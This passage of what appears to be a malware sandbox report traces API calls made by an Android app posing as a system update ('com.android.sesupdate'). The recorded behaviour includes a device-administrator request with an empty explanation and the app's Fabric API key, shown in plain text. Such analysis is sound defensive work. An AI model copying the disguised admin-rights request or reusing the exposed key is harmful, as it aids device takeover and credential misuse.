                          API: java.util.Iterator->hasNext at com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:42 Show source
                          API: java.util.Iterator->next at com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:46 Show source
                          API: java.lang.StringBuilder-><init> at com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:51 Show source
                          API: java.lang.StringBuilder->append at com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:55 Show source
                          API: java.lang.StringBuilder->append at com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:58 Show source
                          API: java.lang.StringBuilder->toString at com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:61 Show source
                          API: java.io.File->getName at com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:64 Show source
                          API: java.lang.StringBuilder-><init> at com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:79 Show source
                          API: java.lang.StringBuilder->append at com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:83 Show source
                          API: java.util.List->size at com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:86 Show source
                          API: java.lang.StringBuilder->append at com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:89 Show source
                          API: java.lang.StringBuilder->append at com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:94 Show source
                          API: java.lang.StringBuilder->append at com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:100 Show source
                          API: java.lang.StringBuilder->toString at com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:103 Show source
                          API: java.lang.StringBuilder-><init> at com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:117 Show source
                          API: java.lang.StringBuilder->append at com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:121 Show source
                          API: java.lang.StringBuilder->append at com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:124 Show source
                          API: java.lang.StringBuilder->toString at com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:127 Show source
                          API: java.lang.Object-><init> at ..:6 Show source
                          API: java.lang.Object-><init> at ..:4 Show source
                          API: java.lang.Object-><init> at ..:3 Show source
                          API: android.content.DialogInterface->dismiss at ..:9 Show source
                          API: java.lang.RuntimeException-><init> at ..:4 Show source
                          API: com.crashlytics.android.core.CrashTest$1-><init> at ..:4 Show source
                          API: android.os.AsyncTask->execute at ..:12 Show source
                          API: java.lang.Math->random at ..:5 Show source
                          API: java.lang.Object-><init> at ..:2 Show source
                          API: java.lang.RuntimeException-><init> at ..:11 Show source
                          API: java.lang.RuntimeException-><init> at ..:18 Show source
                          API: java.lang.RuntimeException-><init> at ..:25 Show source
                          API: java.lang.RuntimeException-><init> at ..:32 Show source
                          API: java.lang.StringBuilder-><init> at ..:12 Show source
                          API: java.lang.StringBuilder->append at ..:16 Show source
                          API: java.lang.StringBuilder->append at ..:19 Show source
                          API: java.lang.StringBuilder->toString at ..:22 Show source
                          API: java.lang.RuntimeException-><init> at ..:4 Show source
                          API: java.util.concurrent.ExecutorService->submit at ..:17 Show source
                          API: android.os.Looper->getMainLooper at ..:12 Show source
                          API: android.os.Looper->myLooper at ..:15 Show source
                          API: java.util.concurrent.ExecutorService->submit at ..:21 Show source
                          API: java.util.concurrent.Future->get at ..:27 Show source
                          API: java.util.concurrent.ExecutorService->submit at ..:33 Show source
                          API: java.util.concurrent.Future->get at ..:36 Show source
                          API: java.lang.Object-><init> at ..:3 Show source
                          API: java.util.concurrent.ExecutorService->submit at ..:18 Show source
                          API: java.lang.Object-><init> at ..:5 Show source
                          API: java.lang.Object-><init> at ..:4 Show source
                          API: java.io.File->exists at ..:18 Show source
                          API: java.util.Collections->emptyMap at ..:22 Show source
                          API: java.io.FileInputStream-><init> at ..:28 Show source
                          API: java.util.Collections->emptyMap at ..:55 Show source
                          API: java.io.FileOutputStream-><init> at ..:24 Show source
                          API: java.io.OutputStreamWriter-><init> at ..:28 Show source
                          API: java.io.BufferedWriter-><init> at ..:30 Show source
                          API: java.io.Writer->write at ..:32 Show source
                          API: java.io.Writer->flush at ..:34 Show source
                          API: java.io.FileOutputStream-><init> at ..:14 Show source
                          API: java.io.OutputStreamWriter-><init> at ..:18 Show source
                          API: java.io.BufferedWriter-><init> at ..:20 Show source
                          API: java.io.Writer->write at ..:22 Show source
                          API: java.io.Writer->flush at ..:24 Show source
                          API: java.io.File->exists at ..:6 Show source
                          API: java.io.FileInputStream-><init> at ..:15 Show source
                          API: java.nio.charset.Charset->forName at ..:4 Show source
                          API: org.json.JSONObject-><init> at ..:9 Show source
                          API: org.json.JSONObject-><init> at ..:21 Show source
                          API: java.util.HashMap-><init> at ..:24 Show source
                          API: org.json.JSONObject->keys at ..:26 Show source
                          API: java.util.Iterator->hasNext at ..:29 Show source
                          API: java.util.Iterator->next at ..:33 Show source
                          API: java.util.Map->put at ..:40 Show source
                          API: org.json.JSONObject-><init> at ..:19 Show source
                          API: org.json.JSONObject->toString at ..:21 Show source
                          API: java.lang.StringBuilder-><init> at ..:7 Show source
                          API: java.lang.StringBuilder->append at ..:9 Show source
                          API: java.lang.StringBuilder->append at ..:14 Show source
                          API: java.lang.StringBuilder->append at ..:19 Show source
                          API: java.lang.StringBuilder->toString at ..:22 Show source
                          API: java.io.File-><init> at ..:25 Show source
                          API: java.lang.StringBuilder-><init> at ..:7 Show source
                          API: java.lang.StringBuilder->append at ..:9 Show source
                          API: java.lang.StringBuilder->append at ..:14 Show source
                          API: java.lang.StringBuilder->append at ..:19 Show source
                          API: java.lang.StringBuilder->toString at ..:22 Show source
                          API: java.io.File-><init> at ..:25 Show source
                          API: com.crashlytics.android.core.MetaDataStore$1-><init> at ..:9 Show source
                          API: com.crashlytics.android.core.MetaDataStore$1->toString at ..:11 Show source
                          API: org.json.JSONObject->isNull at ..:5 Show source
                          API: org.json.JSONObject->optString at ..:9 Show source
                          API: java.lang.Object-><init> at ..:3 Show source
                          API: java.io.InputStream->read at ..:15 Show source
                          API: java.io.InputStream->close at ..:23 Show source
                          API: java.io.InputStream->close at ..:27 Show source
                          API: java.lang.Object-><init> at ..:6 Show source
                          API: com.crashlytics.android.core.WireFormat$FieldType-><init> at ..:10 Show source
                          API: java.lang.Class->forName at ..:5 Show source
                          API: java.lang.Class->getMethod at ..:12 Show source
                          API: java.lang.reflect.Method->invoke at ..:20 Show source
                          API: java.lang.Boolean->booleanValue at ..:24 Show source
                          API: java.lang.Object-><init> at ..:3 Show source
                          API: android.content.Context->getApplicationContext at ..:5 Show source
                          API: java.lang.Class->forName at ..:4 Show source
                          API: java.lang.Class->getMethod at ..:11 Show source
                          API: java.lang.reflect.Method->invoke at ..:19 Show source
                          API: java.lang.Class->forName at ..:7 Show source
                          API: java.lang.Class->getMethod at ..:17 Show source
                          API: java.lang.reflect.Method->invoke at ..:25 Show source
                          API: java.lang.Integer->intValue at ..:29 Show source
                          API: java.lang.Class->forName at ..:5 Show source
                          API: java.lang.Class->getMethod at ..:15 Show source
                          API: java.lang.reflect.Method->invoke at ..:25 Show source
                          API: java.lang.Object-><init> at ..:4 Show source
                          API: java.util.concurrent.Executors->newSingleThreadExecutor at ..:6 Show source
                          API: java.lang.Object-><init> at ..:2 Show source
                          API: java.lang.Runtime->getRuntime at ..:6 Show source
                          API: java.lang.StringBuilder-><init> at ..:18 Show source
                          API: java.lang.StringBuilder->append at ..:22 Show source
                          API: java.lang.StringBuilder->append at ..:25 Show source
                          API: java.lang.StringBuilder->toString at ..:28 Show source
                          API: java.lang.Thread-><init> at ..:31 Show source
                          API: java.lang.Runtime->addShutdownHook at ..:33 Show source
                          API: io.fabric.sdk.android.services.concurrency.internal.RetryThreadPoolExecutor-><init> at ..:10 Show source
                          API: java.util.concurrent.Executors->newSingleThreadScheduledExecutor at ..:6 Show source
                          API: java.util.concurrent.atomic.AtomicLong-><init> at ..:5 Show source
                          API: java.lang.Object-><init> at ..:2 Show source
                          API: android.content.Context->getResources at ..:20 Show source
                          API: android.content.res.Resources->getString at ..:23 Show source
                          API: java.lang.String->substring at ..:8 Show source
                          API: android.text.TextUtils->isEmpty at io.fabric.sdk.android.services.common.FirebaseInfo.isFirebaseCrashlyticsEnabled:27 Show source
                          API: android.text.TextUtils->isEmpty at io.fabric.sdk.android.services.common.FirebaseInfo.isFirebaseCrashlyticsEnabled:37 Show source
                          API: io.fabric.sdk.android.services.concurrency.AsyncTask$Status->values at ..:2 Show source
                          API: io.fabric.sdk.android.services.concurrency.AsyncTask$Status->ordinal at ..:12 Show source
                          API: io.fabric.sdk.android.services.concurrency.AsyncTask$Status->ordinal at ..:21 Show source
                          API: java.lang.Object-><init> at ..:2 Show source
                          API: java.util.LinkedList-><init> at ..:5 Show source
                          API: java.util.LinkedList->offer at ..:9 Show source
                          API: java.util.LinkedList->poll at ..:5 Show source
                          API: java.util.concurrent.Executor->execute at ..:15 Show source
                          API: java.lang.Enum-><init> at ..:7 Show source
                          API: java.lang.Enum->valueOf at ..:4 Show source
                          API: io.fabric.sdk.android.services.network.HttpMethod-><init> at ..:9 Show source
                          API: io.fabric.sdk.android.services.network.HttpMethod-><init> at ..:15 Show source
                          API: io.fabric.sdk.android.services.network.HttpMethod-><init> at ..:21 Show source
                          API: io.fabric.sdk.android.services.network.HttpMethod-><init> at ..:27 Show source
                          API: java.io.Reader->read at ..:15 Show source
                          API: java.io.Writer->write at ..:23 Show source
                          API: java.io.Flushable->flush at ..:9 Show source
                          API: java.security.cert.X509Certificate->getIssuerX500Principal at ..:6 Show source
                          API: java.util.HashMap->get at ..:9 Show source
                          API: java.security.cert.X509Certificate->getSubjectX500Principal at ..:16 Show source
                          API: java.security.cert.X509Certificate->getSubjectX500Principal at ..:19 Show source
                          API: javax.security.auth.x500.X500Principal->equals at ..:22 Show source
                          API: java.security.cert.X509Certificate->getPublicKey at ..:28 Show source
                          API: java.security.cert.X509Certificate->verify at ..:31 Show source
                          API: java.util.HashMap-><init> at ..:16 Show source
                          API: java.security.KeyStore->aliases at ..:18 Show source
                          API: java.util.Enumeration->hasMoreElements at ..:21 Show source
                          API: java.util.Enumeration->nextElement at ..:25 Show source
                          API: java.security.KeyStore->getCertificate at ..:29 Show source
                          API: java.security.cert.X509Certificate->getSubjectX500Principal at ..:34 Show source
                          API: java.util.HashMap->put at ..:37 Show source
                          API: java.lang.AssertionError-><init> at ..:42 Show source
                          API: java.security.KeyStore->getInstance at ..:6 Show source
                          API: java.lang.Object-><init> at ..:31 Show source
                          API: java.lang.Object-><init> at ..:9 Show source
                          API: java.lang.Object-><init> at ..:6 Show source
                          API: java.lang.StringBuilder-><init> at ..:15 Show source
                          API: java.lang.StringBuilder->append at ..:19 Show source
                          API: java.lang.StringBuilder->append at ..:22 Show source
                          API: java.lang.StringBuilder->toString at ..:25 Show source
                          API: android.graphics.BitmapFactory$Options-><init> at ..:31 Show source
                          API: android.content.Context->getResources at ..:35 Show source
                          API: android.graphics.BitmapFactory->decodeResource at ..:38 Show source
                          API: java.lang.Object-><init> at ..:9 Show source
                          API: java.lang.Object-><init> at ..:2 Show source
                          Method: io.fabric.sdk.android.services.common.AdvertisingInfoServiceStrategy.getAdvertisingInfo:28 Show source
                          Method: com.crashlytics.android.answers.Answers.onPreExecute:18 Show source
                          Method: com.crashlytics.android.core.AppData.create:21 Show source
                          Method: io.fabric.sdk.android.Onboarding.onPreExecute:29 Show source
                          Method: io.fabric.sdk.android.InitializationTask.onPreExecute:13 Show source
                          NameTypeValue
                          packageNamejava.lang.String
                          • toString: com.android.sesupdate
                          flagsjava.lang.Integer
                          • toString: 0
                          NameTypeValue
                          Return Valueandroid.content.pm.PackageInfo
                          • toString: PackageInfo{356ede5c com.android.sesupdate}
                          Method: io.fabric.sdk.android.InitializationTask.onPreExecute:13 Show source
                          NameTypeValue
                          packageNamejava.lang.String
                          • toString: com.android.sesupdate
                          flagsjava.lang.Integer
                          • toString: 0
                          NameTypeValue
                          Return Valueandroid.content.pm.PackageInfo
                          • toString: PackageInfo{31b58fbf com.android.sesupdate}
                          Method: io.fabric.sdk.android.services.common.AdvertisingInfoProvider.getAdvertisingInfoFromStrategies:15 Show source
                          NameTypeValue
                          packageNamejava.lang.String
                          • toString: com.android.vending
                          flagsjava.lang.Integer
                          • toString: 0
                          NameTypeValue
                          Return Valueandroid.content.pm.PackageInfo
                          • toString: PackageInfo{1b0b908 com.android.vending}
                          Method: ..:122 Show source
                          NameTypeValue
                          packageNamejava.lang.String
                          • toString: com.android.sesupdate
                          flagsjava.lang.Integer
                          • toString: 0
                          NameTypeValue
                          Return Valueandroid.content.pm.PackageInfo
                          • toString: PackageInfo{3d2d7176 com.android.sesupdate}
                          Method: com.android.sesupdate.MainActivity.requestDeviceAdmin:13 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: android.app.extra.DEVICE_ADMIN
                          p1android.content.ComponentName
                          • toString: ComponentInfo{com.android.sesupdate/com.android.sesupdate.receivers.DeviceAdmin}
                          NameTypeValue
                          Return Valueandroid.content.Intent
                          • toString: Intent { act=android.app.action.ADD_DEVICE_ADMIN (has extras) }
                          Method: com.android.sesupdate.MainActivity.requestDeviceAdmin:19 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: android.app.extra.ADD_EXPLANATION
                          p1java.lang.String
                          • toString: ""
                          NameTypeValue
                          Return Valueandroid.content.Intent
                          • toString: Intent { act=android.app.action.ADD_DEVICE_ADMIN (has extras) }
                          Method: io.fabric.sdk.android.services.common.ApiKey.getApiKeyFromManifest:50 Show source
                          Method: io.fabric.sdk.android.services.common.ApiKey.getApiKeyFromManifest:19 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: io.fabric.ApiKey
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 19d58776ce8832688957d734b44933eeffb4ed48
                          Method: io.fabric.sdk.android.services.common.ApiKey.getApiKeyFromManifest:19 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: io.fabric.ApiKey
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 19d58776ce8832688957d734b44933eeffb4ed48
                          Method: io.fabric.sdk.android.services.common.ApiKey.getApiKeyFromManifest:19 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: io.fabric.ApiKey
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 19d58776ce8832688957d734b44933eeffb4ed48
                          Method: io.fabric.sdk.android.services.common.ApiKey.getApiKeyFromManifest:19 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: io.fabric.ApiKey
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 19d58776ce8832688957d734b44933eeffb4ed48
                          Method: io.fabric.sdk.android.services.common.ApiKey.getApiKeyFromManifest:19 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: io.fabric.ApiKey
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 19d58776ce8832688957d734b44933eeffb4ed48
                          Method: io.fabric.sdk.android.services.common.ApiKey.getApiKeyFromManifest:19 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: io.fabric.ApiKey
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 19d58776ce8832688957d734b44933eeffb4ed48
                          Method: io.fabric.sdk.android.services.common.ApiKey.getApiKeyFromManifest:19 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: io.fabric.ApiKey
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 19d58776ce8832688957d734b44933eeffb4ed48
                          Method: ..:19 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: io.fabric.unity.crashlytics.version
                          NameTypeValue
                          Return Valuenull
                          • toString: null
                          Method: io.fabric.sdk.android.services.common.ApiKey.getApiKeyFromManifest:19 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: io.fabric.ApiKey
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 19d58776ce8832688957d734b44933eeffb4ed48
                          Method: io.fabric.sdk.android.services.common.ApiKey.getApiKeyFromManifest:19 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: io.fabric.ApiKey
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 19d58776ce8832688957d734b44933eeffb4ed48
                          Method: io.fabric.sdk.android.services.common.ApiKey.getApiKeyFromManifest:19 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: io.fabric.ApiKey
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 19d58776ce8832688957d734b44933eeffb4ed48
                          Method: com.android.sesupdate.services.FirstService.onDestroy:13 Show source
                          Method: com.android.sesupdate.services.FirstService.onCreate:28 Show source
                          NameTypeValue
                          p0android.content.Intent
                          • toString: Intent { cmp=com.android.sesupdate/.services.NotificationService }
                          NameTypeValue
                          Return Valueandroid.content.ComponentName
                          • toString: ComponentInfo{com.android.sesupdate/com.android.sesupdate.services.NotificationService}
                          Method: com.android.sesupdate.MainApplication.onCreate:13 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          Method: com.android.sesupdate.MainActivity.onCreate:8 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          Method: com.android.sesupdate.MainApplication.onCreate:18 Show source
                          Method: com.android.sesupdate.MainApplication.onTerminate:9 Show source
                          Method: io.fabric.sdk.android.services.common.CommonUtils.getResourcePackageName:3 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          Method: io.fabric.sdk.android.services.common.CommonUtils.getResourcePackageName:3 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          Method: io.fabric.sdk.android.services.common.CommonUtils.getResourcePackageName:3 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          Method: io.fabric.sdk.android.Fabric$Builder.build:52 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          Method: io.fabric.sdk.android.services.common.AdvertisingInfoProvider.<init>:5 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          Method: io.fabric.sdk.android.services.common.CommonUtils.getResourcePackageName:3 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          Method: io.fabric.sdk.android.services.common.CommonUtils.getResourcePackageName:3 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          Method: io.fabric.sdk.android.services.common.CommonUtils.getResourcePackageName:3 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          Method: io.fabric.sdk.android.services.common.CommonUtils.getResourcePackageName:3 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          Method: io.fabric.sdk.android.ActivityLifecycleManager.<init>:5 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          Method: ..:16 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: sa_560f8e8e-141d-4518-b17f-df57e3c393a1_1537579417974.tap
                          NameTypeValue
                          Return Valuenull
                          • toString: null
                          Method: ..:16 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: sa_acc7d16d-6222-4e0f-b3e6-ea8eca8fcd96_1537579423579.tap
                          NameTypeValue
                          Return Valuenull
                          • toString: null
                          Method: ..:16 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: sa_8cade45e-29ce-4ef8-9683-8a7196a792d8_1537579433581.tap
                          NameTypeValue
                          Return Valuenull
                          • toString: null
                          Method: io.fabric.sdk.android.services.common.AbstractSpiCall.getHttpRequest:17 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: https://e.crashlytics.com/spi/v2/events
                          Method: com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:97 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: https://e.crashlytics.com/spi/v2/events
                          Method: io.fabric.sdk.android.services.common.AbstractSpiCall.getHttpRequest:17 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: https://e.crashlytics.com/spi/v2/events
                          Method: com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:97 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: https://e.crashlytics.com/spi/v2/events
                          Method: io.fabric.sdk.android.services.common.AbstractSpiCall.getHttpRequest:17 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: https://e.crashlytics.com/spi/v2/events
                          Method: com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:97 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: https://e.crashlytics.com/spi/v2/events
                          Method: io.fabric.sdk.android.services.common.AbstractSpiCall.getHttpRequest:17 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: https://e.crashlytics.com/spi/v2/events
                          Method: com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:97 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: https://e.crashlytics.com/spi/v2/events
                          Method: io.fabric.sdk.android.services.common.AbstractSpiCall.getHttpRequest:17 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: https://e.crashlytics.com/spi/v2/events
                          Method: com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:97 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: https://e.crashlytics.com/spi/v2/events
                          Method: io.fabric.sdk.android.Kit.<init>:8 Show source
                          NameTypeValue
                          Return Valuejava.lang.Class
                          • toString: class com.crashlytics.android.beta.Beta
                          • getName: com.crashlytics.android.beta.Beta
                          Method: io.fabric.sdk.android.Fabric.addToKitMap:30 Show source
                          NameTypeValue
                          Return Valuejava.lang.Class
                          • toString: class com.crashlytics.android.beta.Beta
                          • getName: com.crashlytics.android.beta.Beta
                          Method: io.fabric.sdk.android.Kit.containsAnnotatedDependency:17 Show source
                          NameTypeValue
                          Return Valuejava.lang.Class
                          • toString: class com.crashlytics.android.beta.Beta
                          • getName: com.crashlytics.android.beta.Beta
                          Method: io.fabric.sdk.android.Kit.containsAnnotatedDependency:17 Show source
                          NameTypeValue
                          Return Valuejava.lang.Class
                          • toString: class com.crashlytics.android.beta.Beta
                          • getName: com.crashlytics.android.beta.Beta
                          Method: io.fabric.sdk.android.Fabric.addAnnotatedDependencies:47 Show source
                          NameTypeValue
                          Return Valuejava.lang.Class
                          • toString: class com.crashlytics.android.beta.Beta
                          • getName: com.crashlytics.android.beta.Beta
                          Method: io.fabric.sdk.android.InitializationTask.onPreExecute:13 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          Method: com.crashlytics.android.core.CrashlyticsController.<clinit>:5 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: BeginSession
                          NameTypeValue
                          Return Valuecom.crashlytics.android.core.CrashlyticsController$1
                          • toString: com.crashlytics.android.core.CrashlyticsController$1@38499250
                          Method: ..:49 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          Method: com.crashlytics.android.core.CrashlyticsController$13.call:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          Method: ..:45 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: 5BA599990096-0001-3F10-2139026BA246
                          NameTypeValue
                          Return Valuenull
                          • toString: null
                          Method: ..:43 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: 5BA599990096-0001-3F10-2139026BA246
                          NameTypeValue
                          Return Valuenull
                          • toString: null
                          Method: io.fabric.sdk.android.Kit.<init>:8 Show source
                          NameTypeValue
                          Return Valuejava.lang.Class
                          • toString: class com.crashlytics.android.core.CrashlyticsCore
                          • getName: com.crashlytics.android.core.CrashlyticsCore
                          Method: io.fabric.sdk.android.Fabric.addToKitMap:30 Show source
                          NameTypeValue
                          Return Valuejava.lang.Class
                          • toString: class com.crashlytics.android.core.CrashlyticsCore
                          • getName: com.crashlytics.android.core.CrashlyticsCore
                          Method: io.fabric.sdk.android.Fabric.addAnnotatedDependencies:47 Show source
                          NameTypeValue
                          Return Valuejava.lang.Class
                          • toString: class com.crashlytics.android.core.CrashlyticsCore
                          • getName: com.crashlytics.android.core.CrashlyticsCore
                          Method: ..:8 Show source
                          NameTypeValue
                          Return Valuejava.lang.Class
                          • toString: class com.crashlytics.android.core.CrashlyticsCore
                          • getName: com.crashlytics.android.core.CrashlyticsCore
                          Method: io.fabric.sdk.android.Kit.injectParameters:18 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.crashlytics.sdk.android.crashlytics-core
                          Method: io.fabric.sdk.android.Kit.getPath:15 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.crashlytics.sdk.android.crashlytics-core
                          Method: io.fabric.sdk.android.InitializationTask.createAndStartTimingMetric:9 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.crashlytics.sdk.android.crashlytics-core
                          Method: io.fabric.sdk.android.Kit.getPath:15 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.crashlytics.sdk.android.crashlytics-core
                          Method: io.fabric.sdk.android.Onboarding.mergeKits:32 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.crashlytics.sdk.android.crashlytics-core
                          Method: io.fabric.sdk.android.InitializationTask.createAndStartTimingMetric:9 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.crashlytics.sdk.android.crashlytics-core
                          Method: io.fabric.sdk.android.Kit.injectParameters:21 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: .Fabric/com.crashlytics.sdk.android:crashlytics
                          Method: io.fabric.sdk.android.InitializationTask.onPreExecute:13 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          Method: io.fabric.sdk.android.Fabric.getKitsFinderFuture:21 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: /data/app/com.android.sesupdate-1/base.apk
                          NameTypeValue
                          Return Valueio.fabric.sdk.android.FabricKitsFinder
                          • toString: io.fabric.sdk.android.FabricKitsFinder@2edc2093
                          Method: io.fabric.sdk.android.services.common.QueueFile.add:29 Show source
                          NameTypeValue
                          Return Valuejava.lang.Class
                          • toString: java.lang.Class@2ac8a854
                          • getName: io.fabric.sdk.android.services.common.QueueFile$Element
                          Method: io.fabric.sdk.android.services.common.QueueFile.add:29 Show source
                          NameTypeValue
                          Return Valuejava.lang.Class
                          • toString: java.lang.Class@2ac8a854
                          • getName: io.fabric.sdk.android.services.common.QueueFile$Element
                          Method: io.fabric.sdk.android.services.common.QueueFile.add:29 Show source
                          NameTypeValue
                          Return Valuejava.lang.Class
                          • toString: java.lang.Class@2ac8a854
                          • getName: io.fabric.sdk.android.services.common.QueueFile$Element
                          Method: io.fabric.sdk.android.services.common.QueueFile.add:29 Show source
                          NameTypeValue
                          Return Valuejava.lang.Class
                          • toString: java.lang.Class@2ac8a854
                          • getName: io.fabric.sdk.android.services.common.QueueFile$Element
                          Method: ..:4 Show source
                          NameTypeValue
                          Return Valuejava.lang.Class
                          • toString: java.lang.Class@2ac8a854
                          • getName: io.fabric.sdk.android.services.common.QueueFile$Element
                          Method: ..:4 Show source
                          NameTypeValue
                          Return Valuejava.lang.Class
                          • toString: java.lang.Class@2ac8a854
                          • getName: io.fabric.sdk.android.services.common.QueueFile$Element
                          Method: ..:22 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.android.sesupdate
                          Method: com.crashlytics.android.answers.SessionMetadataCollector.getMetadata:9 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.android.sesupdate
                          Method: ..:10 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.android.sesupdate
                          Method: ..:74 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 50
                          Method: io.fabric.sdk.android.services.common.IdManager.getOsVersionString:16 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 50
                          Method: ..:16 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: utf-8
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: utf-8
                          Method: ..:3 Show source
                          NameTypeValue
                          p0null
                          • toString: null
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: UTF-8
                          Method: ..:3 Show source
                          NameTypeValue
                          p0null
                          • toString: null
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: UTF-8
                          Method: ..:3 Show source
                          NameTypeValue
                          p0null
                          • toString: null
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: UTF-8
                          Method: ..:3 Show source
                          NameTypeValue
                          p0null
                          • toString: null
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: UTF-8
                          Method: ..:3 Show source
                          NameTypeValue
                          p0null
                          • toString: null
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: UTF-8
                          Method: ..:3 Show source
                          NameTypeValue
                          p0null
                          • toString: null
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: UTF-8
                          Method: ..:3 Show source
                          NameTypeValue
                          p0null
                          • toString: null
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: UTF-8
                          Method: ..:3 Show source
                          NameTypeValue
                          p0null
                          • toString: null
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: UTF-8
                          Method: ..:3 Show source
